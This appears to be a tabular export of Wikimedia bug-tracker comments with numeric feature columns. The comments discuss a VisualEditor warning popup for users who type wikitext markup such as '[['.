252643,"VisualEditor: When user types in '[[' in the page or another DOM input widget, pop up a reminder that they're using VisualEditor","(In reply to comment #27)
...
> I realize that smarter users can right-click and then open the link in either
> another tab or a new page, avoiding the question of whether they want to
> leave
> their editing session. But if we're aiming at the average user, it would be
> great if this link were pre-defined as opening another window, so that a
> simple
> click on the link didn't result in a perturbed user.

Reported on bug 52093.",,,1375189962,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-k7f4ru5f6yx35p5jkdx7,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,7.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.933333333333333,0.5666666666666667,"(In reply to comment #27)
...
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Reported on bug 52093."
252634,"VisualEditor: When user types in '[[' in the page or another DOM input widget, pop up a reminder that they're using VisualEditor","(In reply to comment #27)
> If it's not one thing, it's another ...

Welcome to software development.",,,1375180789,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-k7f4ru5f6yx35p5jkdx7,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.625,0.9375,"(In reply to comment #27)
QUOTE

Welcome to software development."
252624,"VisualEditor: When user types in '[[' in the page or another DOM input widget, pop up a reminder that they're using VisualEditor","Change 76701 had a related patch set uploaded by Esanders:
Set links in wikitext warning to load in new window

https://gerrit.wikimedia.org/r/76701",,,1375180094,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-k7f4ru5f6yx35p5jkdx7,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,0.9583333333333334,"Change 76701 had a related patch set uploaded by Esanders:
Set links in wikitext warning to load in new window

GERRIT_URL"
252615,"VisualEditor: When user types in '[[' in the page or another DOM input widget, pop up a reminder that they're using VisualEditor","If it's not one thing, it's another ... The popup message is now visible no matter where in a page the wikitext is being entered. So that's progress.

The popup is still too inconspicuous for my tastes (and a great opportunity for A/B testing), but that's not what I'm posting about. My concern is with the link that the popup message includes (the label is ""wikitext""; the target is [[Help:Wiki markup]]). If that link is clicked, the system **asks the user whether he/she wants to leave the editing page**. That's a bit user-unfriendly.

I realize that smarter users can right-click and then open the link in either another tab or a new page, avoiding the question of whether they want to leave their editing session. But if we're aiming at the average user, it would be great if this link were pre-defined as opening another window, so that a simple click on the link didn't result in a perturbed user.",,,1374794028,,PHID-USER-hirrhium5ibrtof34lwa,False,,,PHID-TASK-k7f4ru5f6yx35p5jkdx7,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,1.3333333333333333,1.0,4.0,1.0,0.0,0.0,1.6666666666666667,1.6666666666666667,1.3333333333333333,0.0,0.0,0.0,1.6666666666666667,0.0,4.333333333333333,9.333333333333334,0.0,0.6666666666666666,0.0,0.6666666666666666,0.0,1.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,6.666666666666667,0.3333333333333333,1.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,1.6666666666666667,0.3333333333333333,1.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,14.333333333333334,1.0,1.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,7.666666666666667,3.6666666666666665,4.666666666666667,4.333333333333333,2.6666666666666665,10.666666666666666,0.0,0.0,0.0,0.0,3.0,0.0,0.3333333333333333,0.0,4.666666666666667,9.333333333333334,0.6666666666666666,0.0,0.6666666666666666,0.0,4.666666666666667,0.0,0.6666666666666666,2.3333333333333335,0.0,1.6666666666666667,0.3333333333333333,0.0,0.6666666666666666,3.545003353454058,0.7535211267605634,"If it's not one thing, it's another ... The popup message is now visible no matter where in a page the wikitext is being entered. So that's progress.

The popup is still too inconspicuous for my tastes (and a great opportunity for A/B testing), but that's not what I'm posting about. My concern is with the link that the popup message includes (the label is ""wikitext""; the target is [[Help:Wiki markup]]). If that link is clicked, the system **asks the user whether he/she wants to leave the editing page**. That's a bit user-unfriendly.

I realize that smarter users can right-click and then open the link in either another tab or a new page, avoiding the question of whether they want to leave their editing session. But if we're aiming at the average user, it would be great if this link were pre-defined as opening another window, so that a simple click on the link didn't result in a perturbed user."
252608,"VisualEditor: When user types in '[[' in the page or another DOM input widget, pop up a reminder that they're using VisualEditor","(In reply to comment #24)
> The continued flow of markup errors shown by
> http://en.wikipedia.org/w/index.php?title=Special:AbuseLog&wpSearchFilter=550
> is a pretty good indication that the warning either isn't obtrusive enough or
> clear enough. We're still seeing about 20 articles an hour corrupted because
> of
> this.
> 

there was a problem with the message (it opened at top of page instead of top of screen), because of bug 50870. since this bug is fixed, the message will become more effective (afaik, this fix was deployed on July 22).

personally, i think that the right solution is outlined in bug 51897. however, ATM 51897 is marked as ""low"". if you think like i do, maybe you should lobby to bump up the priority of 51897.


peace.",,,1374792947,,PHID-USER-akv4ingxkspiiam6r2n4,False,,,PHID-TASK-k7f4ru5f6yx35p5jkdx7,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.5,0.0,1.0,3.5,0.0,0.0,0.0,0.5,1.5,0.0,3.5,11.5,0.0,1.5,1.0,0.5,0.0,2.0,0.0,0.0,0.0,0.0,0.5,0.0,4.5,1.5,0.5,1.0,1.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,1.0,9.5,0.0,1.5,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.5,5.5,2.5,0.0,4.5,0.0,0.0,0.0,0.5,2.5,1.0,4.5,0.0,4.0,11.5,4.0,0.0,1.5,0.0,4.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,3.371584699453552,0.694672131147541,"(In reply to comment #24)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

there was a problem with the message (it opened at top of page instead of top of screen), because of bug 50870. since this bug is fixed, the message will become more effective (afaik, this fix was deployed on July 22).

personally, i think that the right solution is outlined in bug 51897. however, ATM 51897 is marked as ""low"". if you think like i do, maybe you should lobby to bump up the priority of 51897.


peace."
252601,"VisualEditor: When user types in '[[' in the page or another DOM input widget, pop up a reminder that they're using VisualEditor","Another possibility: provide a side by side view of the two options the user has, and ask for confirmation:
https://en.wikipedia.org/w/index.php?oldid=564535137#bug49820",,,1373995371,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-k7f4ru5f6yx35p5jkdx7,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,8.0,0.0,4.0,17.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.875,0.875,"Another possibility: provide a side by side view of the two options the user has, and ask for confirmation:
URL"
252595,"VisualEditor: When user types in '[[' in the page or another DOM input widget, pop up a reminder that they're using VisualEditor","**kwwilliams** wrote:

The continued flow of markup errors shown by http://en.wikipedia.org/w/index.php?title=Special:AbuseLog&wpSearchFilter=550 is a pretty good indication that the warning either isn't obtrusive enough or clear enough. We're still seeing about 20 articles an hour corrupted because of this.

I think this really needs a positive checkoff dialog, and the article shouldn't be saved until the editor has agreed that he really wants strings of brackets and pipes in his text. Having these in legitimately is an extremely rare case, especially for a novice editor. I'd block the edit with the edit filter if I could, but VE isn't able to display edit filter messages properly.",,,1373993008,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-k7f4ru5f6yx35p5jkdx7,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,1.0,1.0,2.0,5.0,2.5,0.5,0.0,1.0,1.5,3.5,0.0,0.0,0.0,2.5,0.0,9.0,10.0,0.0,1.0,0.5,0.0,0.0,0.5,1.0,0.0,0.0,1.0,1.0,0.0,5.5,1.5,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,1.5,0.0,0.5,0.0,0.0,0.5,0.0,1.0,16.5,0.5,1.5,0.0,1.5,0.0,0.5,0.0,1.0,0.5,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,3.5,5.0,2.5,3.0,9.0,0.0,0.0,0.0,0.0,2.5,0.0,0.5,0.0,4.0,10.0,1.5,0.0,0.0,0.0,4.0,0.0,0.0,3.0,0.0,1.5,0.0,0.0,0.0,4.119303635432668,0.8078597030209933,"**kwwilliams** wrote:

The continued flow of markup errors shown by URL is a pretty good indication that the warning either isn't obtrusive enough or clear enough. We're still seeing about 20 articles an hour corrupted because of this.

I think this really needs a positive checkoff dialog, and the article shouldn't be saved until the editor has agreed that he really wants strings of brackets and pipes in his text. Having these in legitimately is an extremely rare case, especially for a novice editor. I'd block the edit with the edit filter if I could, but VE isn't able to display edit filter messages properly."
252589,"VisualEditor: When user types in '[[' in the page or another DOM input widget, pop up a reminder that they're using VisualEditor","(In reply to comment #19)
> Depends on bug 51432

This was already reported as bug 50870, adjusting.",,,1373982306,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-k7f4ru5f6yx35p5jkdx7,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,0.0,10.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.4285714285714284,1.0,"(In reply to comment #19)
QUOTE

This was already reported as bug 50870, adjusting."
252586,"VisualEditor: When user types in '[[' in the page or another DOM input widget, pop up a reminder that they're using VisualEditor","**ignatzmice.wiki** wrote:

(In reply to comment #21)
> What about having the balloon (https://github.com/wikimedia/jquery-tipsy ?)
> pointing exactly to the position where the wikitext was found?

That might work pretty well too, especially if the balloon is a prominently ""warning"" color (as suggested somewhere by someone). I personally would be in favor of a big in-your-face notification, but I accept that not everyone will.",,,1373980188,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-k7f4ru5f6yx35p5jkdx7,task_subcomment,,True,c1,3,False,,,2,,0.0,3.0,0.0,0.0,1.0,1.0,3.0,0.0,0.0,1.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,11.0,13.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,3.0,1.0,0.0,7.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,11.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,8.0,3.0,1.0,4.0,0.0,0.0,0.0,1.0,4.0,0.0,1.0,0.0,4.0,13.0,1.0,0.0,3.0,0.0,4.0,0.0,1.0,3.0,0.0,1.0,0.0,0.0,0.0,3.619718309859155,0.7887323943661971,"**ignatzmice.wiki** wrote:

(In reply to comment #21)
QUOTE
QUOTE

That might work pretty well too, especially if the balloon is a prominently ""warning"" color (as suggested somewhere by someone). I personally would be in favor of a big in-your-face notification, but I accept that not everyone will."
252583,"VisualEditor: When user types in '[[' in the page or another DOM input widget, pop up a reminder that they're using VisualEditor",What about having the balloon (https://github.com/wikimedia/jquery-tipsy ?) pointing exactly to the position where the wikitext was found?,,,1373979657,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-k7f4ru5f6yx35p5jkdx7,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,15.0,5.0,10.0,5.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,4.2,0.85,What about having the balloon (URL ?) pointing exactly to the position where the wikitext was found?
252577,"VisualEditor: When user types in '[[' in the page or another DOM input widget, pop up a reminder that they're using VisualEditor","**ignatzmice.wiki** wrote:

(In reply to comment #18)
> Created MW bug for position fixed. Due to the possibility of false positives,
> having a blocking confirmation box may be too obtrusive.

I dunno. I don't see a lot of false positives coming out of Filter 550. If you're really concerned, there could be a setting in the VE prefs to turn it off. (I definitely would NOT want a ""don't show again"" in the popup itself—too easy to get rid of it without clearly understanding what it means.)",,,1373973971,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-k7f4ru5f6yx35p5jkdx7,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,3.0,2.0,1.0,0.0,0.0,1.0,3.0,3.0,0.0,0.0,1.0,3.0,1.0,9.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,5.0,4.0,4.0,3.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,5.0,1.0,11.0,1.0,0.0,5.0,0.0,0.0,0.0,1.0,8.0,0.0,2.0,0.0,9.0,14.0,3.0,0.0,2.0,0.0,9.0,0.0,1.0,3.0,1.0,2.0,0.0,0.0,0.0,3.3043478260869565,0.717391304347826,"**ignatzmice.wiki** wrote:

(In reply to comment #18)
QUOTE
QUOTE

I dunno. I don't see a lot of false positives coming out of Filter 550. If you're really concerned, there could be a setting in the VE prefs to turn it off. (I definitely would NOT want a ""don't show again"" in the popup itself—too easy to get rid of it without clearly understanding what it means.)"
252571,"VisualEditor: When user types in '[[' in the page or another DOM input widget, pop up a reminder that they're using VisualEditor",Depends on bug 51432,,,1373973173,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-k7f4ru5f6yx35p5jkdx7,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.25,1.0,Depends on bug 51432
252570,"VisualEditor: When user types in '[[' in the page or another DOM input widget, pop up a reminder that they're using VisualEditor","Created MW bug for position fixed. Due to the possibility of false positives, having a blocking confirmation box may be too obtrusive.",,,1373973112,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-k7f4ru5f6yx35p5jkdx7,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,12.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,16.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,0.0,4.52,0.96,"Created MW bug for position fixed. Due to the possibility of false positives, having a blocking confirmation box may be too obtrusive."
252568,"VisualEditor: When user types in '[[' in the page or another DOM input widget, pop up a reminder that they're using VisualEditor",Actually this is a general problem with jsMessages is general. They should be placed at a fixed position on the page.,,,1373956593,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-k7f4ru5f6yx35p5jkdx7,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,4.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,13.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,13.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,13.0,9.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.217391304347826,0.8260869565217391,Actually this is a general problem with jsMessages is general. They should be placed at a fixed position on the page.
252565,"VisualEditor: When user types in '[[' in the page or another DOM input widget, pop up a reminder that they're using VisualEditor",http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Wikitext_warning_probably_won.27t_be_seen_by_most_editors for some more detailed info on pieces of it.,,,1373951338,,PHID-USER-f6l3bchko2ogbi4poj24,False,,,PHID-TASK-k7f4ru5f6yx35p5jkdx7,task_subcomment,,True,c1,3,False,,,2,,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,27.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,3.5454545454545454,1.0,URL for some more detailed info on pieces of it.
252560,"VisualEditor: When user types in '[[' in the page or another DOM input widget, pop up a reminder that they're using VisualEditor",I'm reopening this as it seems to be the best place. There is definitely an issue with the warning being only on top and so you really don't have to be scrolled down that much before you don't see the warning.,,,1373951190,,PHID-USER-f6l3bchko2ogbi4poj24,False,,,PHID-TASK-k7f4ru5f6yx35p5jkdx7,task_subcomment,,True,c1,3,False,,,2,,2.0,0.0,0.0,2.0,4.0,4.0,4.0,0.0,0.0,0.0,2.0,7.0,0.0,2.0,2.0,2.0,0.0,15.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,11.0,2.0,2.0,4.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,4.0,0.0,2.0,11.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,15.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,3.6739130434782608,0.8043478260869565,I'm reopening this as it seems to be the best place. There is definitely an issue with the warning being only on top and so you really don't have to be scrolled down that much before you don't see the warning.
252555,"VisualEditor: When user types in '[[' in the page or another DOM input widget, pop up a reminder that they're using VisualEditor","**ignatzmice.wiki** wrote:

The little box is not nearly obtrusive enough. It should be a popup (like the ""are you sure you want to thank this user?"" popup) that says the same thing as the warning, but requires confirmation (even a sole ""OK"" button would be fine, so long as it actually disrupts the editor's typing).",,,1373950172,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-k7f4ru5f6yx35p5jkdx7,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,1.0,9.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,9.0,5.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,8.0,0.0,3.0,4.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,12.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,4.0,0.0,1.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,5.0,5.0,3.0,1.0,5.0,0.0,5.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,3.52,0.76,"**ignatzmice.wiki** wrote:

The little box is not nearly obtrusive enough. It should be a popup (like the ""are you sure you want to thank this user?"" popup) that says the same thing as the warning, but requires confirmation (even a sole ""OK"" button would be fine, so long as it actually disrupts the editor's typing)."
252552,"VisualEditor: When user types in '[[' in the page or another DOM input widget, pop up a reminder that they're using VisualEditor","Just tried this out - seems to be an issue.  If you are scrolled down far enough on an article, the warning is never seen.  It's tied to the top of the page. You can go all the way through the save process and only see the message once the new version loads.  I suspect this might be reducing the effectiveness of the notice.  (FF 22, OS 10.6.8)",,,1373949582,,PHID-USER-ttyyrgsrkyonct7hizgv,False,,,PHID-TASK-k7f4ru5f6yx35p5jkdx7,task_subcomment,,True,c1,3,False,,,2,,1.0,0.0,0.0,2.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,6.0,12.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,2.0,0.0,0.0,6.0,5.0,1.0,1.0,2.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,13.0,5.0,9.0,2.0,1.0,17.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,5.0,12.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,3.3902439024390243,0.7439024390243902,"Just tried this out - seems to be an issue.  If you are scrolled down far enough on an article, the warning is never seen.  It's tied to the top of the page. You can go all the way through the save process and only see the message once the new version loads.  I suspect this might be reducing the effectiveness of the notice.  (FF 22, OS 10.6.8)"
252550,"VisualEditor: When user types in '[[' in the page or another DOM input widget, pop up a reminder that they're using VisualEditor",Feature to do this is now merged and will be deployed tomorrow.,,,1373855518,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-k7f4ru5f6yx35p5jkdx7,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,8.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Feature to do this is now merged and will be deployed tomorrow.
252547,"VisualEditor: When user types in '[[' in the page or another DOM input widget, pop up a reminder that they're using VisualEditor","Change 73569 merged by jenkins-bot:
Warn users when they are typing wikitext

https://gerrit.wikimedia.org/r/73569",,,1373855446,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-k7f4ru5f6yx35p5jkdx7,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,17.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,6.0,6.0,11.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,4.333333333333333,1.0,"Change 73569 merged by jenkins-bot:
Warn users when they are typing wikitext

GERRIT_URL"
252543,"VisualEditor: When user types in '[[' in the page or another DOM input widget, pop up a reminder that they're using VisualEditor","Change 73569 had a related patch set uploaded by Catrope:
Warn users when they are typing wikitext

